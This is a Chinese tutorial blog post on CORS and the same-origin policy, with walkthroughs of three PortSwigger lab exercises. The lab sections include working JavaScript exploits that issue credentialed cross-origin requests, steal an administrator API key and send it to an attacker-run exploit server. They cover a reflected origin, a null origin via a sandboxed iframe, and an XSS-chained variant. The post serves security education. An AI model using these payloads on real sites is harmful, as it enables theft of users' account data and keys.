【Portswigger 学院】CORS

教程和靶场来源于 Burpsuite 的官网 Portswigger:Cross-origin resource sharing (CORS) - PortSwigger

跨域资源共享(Cross-origin resource sharing,CORS)是一种浏览器机制,允许浏览器访问不同源的资源。同源策略的作用是限制浏览器访问不同源的资源的,而 CORS 是为了放宽同源策略的严格限制,允许设置一些策略让浏览器能够访问到不同源的资源。然而,如果 CORS 策略配置不恰当,就存在跨域攻击的风险。

PS:在理解 CORS 跨域的知识时,源(Origin)网站(website)域(domain)可以认为是一个东西。

同源策略

同源策略(Same-origin policy,SOP)限制了浏览器访问不同源的资源的能力,在很久以前,这种机制就已经在浏览器中实现了,为了防止恶意跨域访问,因此这会造成窃取敏感数据等攻击。

下面举一个体现同源策略作用的例子,我在 https://cn.bing.com 网站下的控制台用 fetch API 获取百度的资源:

结果被同源策略被限制。在这个过程中,HTTP 请求已经被浏览器发送出去了,但是返回的响应结果由于同源策略的限制,浏览器被禁止访问。

CORS

在 CORS 策略被开发出来之前,开发者们用 JSONP 技术来实现跨域资源访问。

CORS 用一组 HTTP 头设置策略,告诉浏览器需要满足一些条件才能访问跨域的资源。

CORS 规范定义的响应头:

  • Access-Control-Allow-Origin:指定允许访问资源的域。
  • Access-Control-Expose-Headers:指定浏览器的 JS 代码允许访问哪些额外的响应头(一些基本的响应头默认允许访问)。
  • Access-Control-Max-Age:指定了 preflight 请求(预检请求,即 OPTIONS 请求)的结果能够被缓存多久。
  • Access-Control-Allow-Credentials:当响应报文返回该响应头并设置为 true 时,浏览器的 JS 代码要设置 XMLHttpRequest.withCredentialstrue 或 fetch() 的 Request.credentials 设置为 include 模式,响应才会带浏览器开放访问。
  • Access-Control-Allow-Methods:指定了访问资源时允许使用的请求方法,用于预检请求的响应。
  • Access-Control-Allow-Headers:用于预检请求的响应。其指明了实际请求(预检请求后接下来发送的请求)中允许携带的标头字段。

CORS 规范定义用于跨源请求的请求头:

  • Origin:表明预检请求或实际跨源请求的源站,例如 https://www.baidu.com,不包含 path,其值可以为 null。
  • Access-Control-Request-Method:用于预检请求,其作用是将实际请求所使用的 HTTP 方法告诉服务器。
  • Access-Control-Request-Headers:用于预检请求。其作用是,将实际请求所携带的标头字段(通过 setRequestHeader() 等设置的)告诉服务器。

安全问题

现代网站使用 CORS 策略实现对子域和第三方受信任网站的资源,这些网站可能因为 CORS 过于放宽限制或错误配置而产生漏洞。

在安全测试的过程中主要关注的问题:

  • 网站信任所有的源,具体表现是 Access-Control-Allow-Origin 响应头根据 Origin 请求头值的变化而变化。
  • 错误解析 Origin 头,比如使用 Origin 头的值与信任源白名单中的值进行前缀匹配或后缀匹配。
  • Access-Control-Allow-Origin 响应头支持 null

网站信任所有的源

 Access-Control-Allow-Origin 响应头根据 Origin 请求头的值而设置值,这种情况相当于信任任何一个源:

错误解析 Origin 头

一些组织配置 CORS 策略,都会设置一个白名单,白名单中是受信任的源,也就是允许出现在 Access-Control-Allow-Origin 响应头的值。然而,在收到跨源请求后,判断 Origin 是否在白名单中的方法往往是 URL 前缀或后缀匹配,或者使用正则表达式,这仍然可能导致安全风险

举个例子,某个组织的主域是 normal-website.com,为了支持所有来自子域的跨源请求,会将 Origin 与白名单中的值逐一进行后缀匹配,那么除了 *.normal-website.com 以外,*normal-website.com 域也将允许跨源。此时,攻击者可以注册一个像 hackersnormal-website.com 这样的域名来实现跨源攻击。

不仅限于后缀匹配,前缀匹配也可能存在安全风险,比如攻击者可以注册一个像 normal-website.com.evil-user.net 这样的域名来实现跨源攻击。

ACAO 响应头支持 null

Access-Control-Allow-Origin(ACAO)响应头支持 null,此时 Origin 头为 null 的跨源请求也不受限制。浏览器在以下几种情形中发送 Origin: null

  • Cross-origin redirects.
  • Requests from serialized data.
  • Request using the file: protocol.
  • Sandboxed cross-origin requests.

XSS 与 CORS 的组合

即使 CORS 配置得再严格,如果一个源存在 XSS 漏洞,利用 XSS 仍能通过跨源资源请求窃取敏感数据。

举个例子,X 网站仅支持来自 https://subdomain.vulnerable-website.com 的跨源请求,其他源都不支持,那么攻击者就无法让用户在访问恶意网站时利用 AJAX 进行跨源资源访问。但是,如果 https://subdomain.vulnerable-website.com 网站存在一个 XSS 漏洞,就假设是反射型 XSS,那么攻击者就可以利用 XSS 在当前发起对 X 网站的跨源资源请求,因为 X 网站支持 https://subdomain.vulnerable-website.com。

CORS 配置不当破坏 TLS 加密传输

如果同时支持某个域名的 HTTP 和 HTTPS 两个源,那么利用 MITM 中间人攻击拦截 HTTP 报文并注入 JS 代码。

企业内部网络的 CORS

Access-Control-Allow-Credentials 响应头在预检请求中出现并值为 true,表示接下来的实际请求要带上凭证(如果有的话),没有这个响应头,那么浏览器不会发送凭证(例如 Cookie),攻击者也只能访问未授权的数据。

在一些企业内部网络中,一个私有网站没有外部公开访问的网站那么安全,可能没有配置 Access-Control-Allow-Credentials 响应头,那么这会存在安全风险,发起如下请求就可实现跨源资源访问:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

服务器只返回一个响应头,没有 Access-Control-Allow-Credentials 响应头:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

实验一

这个实验讲述上述第一个安全问题的利用,其他安全问题对应的实验场景基本一样,只是在针对 Access-Control-Allow-Origin 的配置,利用方法有细微的差别,它们的实验不重复讲述,只给出相关的 exploit。

实验说明:

说明中讲到了这个网站存在一个不安全的 CORS 配置,即信任所有源。为了完成实验,需要精心编写一段 JS 代码,利用 CORS 的不安全配置获取到 administrator 的 API 密钥。

进入实验场景:

使用实验说明给的账号 wiener:peter 登录,登录后自动跳转到个人页面,如图:

burpsuite 捕获访问这个页面的流量,找到其中获取当前账号的 API 密钥的请求包和响应包:

发送到 Repeater,添加 Origin 请求头,并随意设置一个域名,然后发送,结果如图:

我在 Origin 头输入 https://example.com,Access-Control-Allow-Origin 头就返回 https://example.com,在 Origin 头输入任何值,Access-Control-Allow-Origin 头就返回同样的值。这就是一个安全问题,任何网站(或者说源)发起的跨源资源请求(通常是 AJAX 请求)都被允许访问这个网站的资源,在当前网站就是 /accountDetails 接口返回的数据。

回到实验场景中,点击按钮进入 exploit 服务器配置:

exploit 服务器配置:

exploit 服务器就相当于攻击者的服务器,配置好响应包的内容,直接点击下发按钮:

服务器就会把这个 https://exploit-0ab500f10427142980b8cad901a900f4.exploit-server.net/exploit 递送给受害者,受害者打开这个链接,就会访问 exploit 服务器的 /exploit,返回攻击者事先配置好的响应包。这个过程模拟了 CSRF 攻击,整个过程大致如下:

说明:

  • exploit 服务器给受害者下发链接相当于给他发了一个钓鱼网站的链接。
  • 第 4 步,受害者访问 exploit 服务器的 /exploit 后,返回一个攻击者事先构造好的页面,其中包含了向 web-security-academy 服务器的 /accountDetails 发送 AJAX 请求,此时也是跨源资源请求,从 exploit 服务器上的网站跨源到 web-security-academy 网站。

下面是 exploit 服务器上事先配置好的 /exploit 响应包:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a340056047614ae8068cb8c00e40034.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

受害者访问 exploit 服务器的 /exploit AJAX 向 web-security-academy 网站的 /accountDetails 发起请求,获取到返回的 administrator API 密钥后,再将密钥附加到 /log?key= 路径后面,然后跳转到这个路径,也就是访问

https://exploit-0ab500f10427142980b8cad901a900f4.exploit-server.net//log?key=<API 密钥>

exploit 服务器的访问日志会记录这个请求,攻击者访问日志也就得到了 API 密钥:

URL 解码得到 API key:lC3pgVmi83I2tj0EICAQoNRwC3grnVML,回到首页,点击顶部的 Submit Solution 按钮提交后完成实验。

实验二(exploit)

这次实验场景中的 CORS 配置与前一个实验的有所不同,在 /accountDetails 请求添加 Origin: null,响应头 Access-Control-Allow-Origin 的值为 null,表示支持 Origin 为 null 的跨源请求:

Origin 自动设置当前网站的协议+域名,而我们知道没有一个网站的域名是 null,所以需要一些特殊技巧发送出去一个 Origin: null 的跨源请求,沙盒化跨域请求可以做到这一点。

下面是发送沙盒化跨域请求的代码:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0ac6007104b0e71c8394d72e00640072.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://exploit-0ad600a504c8e7fb8390d61901df000b.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

把这段代码作为 /explpoit 的响应体:

下发 exploit 给受害者后,在访问日志就能看到 administrator 的 API 密钥了。

实验三(exploit)

实验说明:

这个实验与前面的环境几乎一样,仅 CORS 策略的配置有些不同,支持的源有:

http://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
https://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
http://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
https://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net

在 stock 这个子域存在一个 XSS 漏洞:

利用这个 XSS 漏洞发起跨源资源请求,窃取 adminstrator 的 API 密钥,然后发送到 exploit 服务器上。

exploit:

<script>
    document.location="http://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aea00bb0310a08580cb6b0c016f00b3.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

XSS payload 几乎跟前两个实验的 JS 代码一样。

后面就是下发 exploit 给受害者,然后查看访问日志,找到 API 密钥并提交即可。

防御

  • 正确配置 Access-Control-Allow-Origin 响应头,设置一个受信任源的白名单,不支持 null 值。
  • CORS 是针对浏览器的机制,服务器也要对资源完善身份验证和授权等机制。

参考

和跨域CORS有关的几个请求头和响应头以及预检请求_2、与跨域相关的请求头和响应头各有哪些?-CSDN博客

 跨源资源共享(CORS) - HTTP | MDN (mozilla.org)

HTTP headers | Access-Control-Allow-Credentials - GeeksforGeeks 

  • 11
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值